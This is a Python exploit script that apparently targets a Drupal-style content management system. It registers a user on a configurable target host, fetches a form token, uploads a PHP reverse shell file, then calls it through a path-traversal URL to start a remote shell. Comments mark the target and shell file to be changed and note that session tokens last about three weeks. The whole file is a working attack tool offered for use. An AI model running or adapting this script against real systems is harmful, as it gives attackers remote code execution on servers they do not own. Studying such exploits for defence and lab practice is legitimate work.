import requests
from exploit_requests import create_attach_post, get_authenticated_headers, create_user_request, create_upload_post
from exploit_helpers import string_gen, get_form_token


TARGET_URL = "http://192.168.0.231:80" # change this
SHELL_FILE_PATH = "php-reverse-shell.tpl.php" # change this

DUMMY_TITLE = string_gen(11)
DUMMY_BODY = string_gen(64)

def open_upload_form(session_token):
    form_url = f'{TARGET_URL}/?q=node/add/page'
    headers = get_authenticated_headers(session_token)

    resp = requests.get(form_url, headers=headers)

    return resp.text

def init_session():
    try:
        init_response = requests.get(TARGET_URL)
        session_token = init_response.headers['Set-Cookie'].split(';')[0] # Session tokens last for ~21 days, so persistence mechanisms may not be required

        if(init_response.status_code == 200):
            return session_token
        else:
            raise Exception()
    except:
        print("Error in initial host contact, check configuration and ensure host is reachable")
        exit()

def create_user(session_token):
    try:
        payload, headers = create_user_request(session_token)
        create_user_response = requests.post( f'{TARGET_URL}/?q=user/register', headers=headers, data=payload)
        
        if(create_user_response.status_code == 200):
            print("User account successfully created and logged in \n")
            return create_user_response
        else:
            raise Exception()
    except:
        print("Error in user creation attempt, check configuration and ensure host is reachable")
        exit()


def attach_shell(session_token, form_token):
    attach_url = f'{TARGET_URL}/?q=upload/js'
    headers, payload = create_attach_post(session_token, form_token, TARGET_URL, SHELL_FILE_PATH, DUMMY_TITLE, DUMMY_BODY)

    attach_response = requests.post(attach_url, headers=headers, data=payload)
    return attach_response

def upload_shell(session_token, form_token):
    upload_url = f'{TARGET_URL}?q=node/add/page'
    headers, payload = create_upload_post(session_token, form_token, TARGET_URL, SHELL_FILE_PATH, DUMMY_TITLE, DUMMY_BODY)

    upload_response = requests.post(upload_url, headers=headers, data=payload)

    return upload_response

def main():
    session_token = init_session()

    create_user_response = create_user(session_token)

    form_source = open_upload_form(session_token)
    form_token = get_form_token(form_source)

    #attach_shell_response = attach_shell(session_token, form_token)
    upload_shell_response = upload_shell(session_token, form_token)

    shell_url = f'{TARGET_URL}/?q=node/1/ssss\..\..\..\\files\php-reverse-shell'
    shell_resp = requests.get(shell_url)
    print(shell_resp.text)

if __name__ == "__main__":
    main()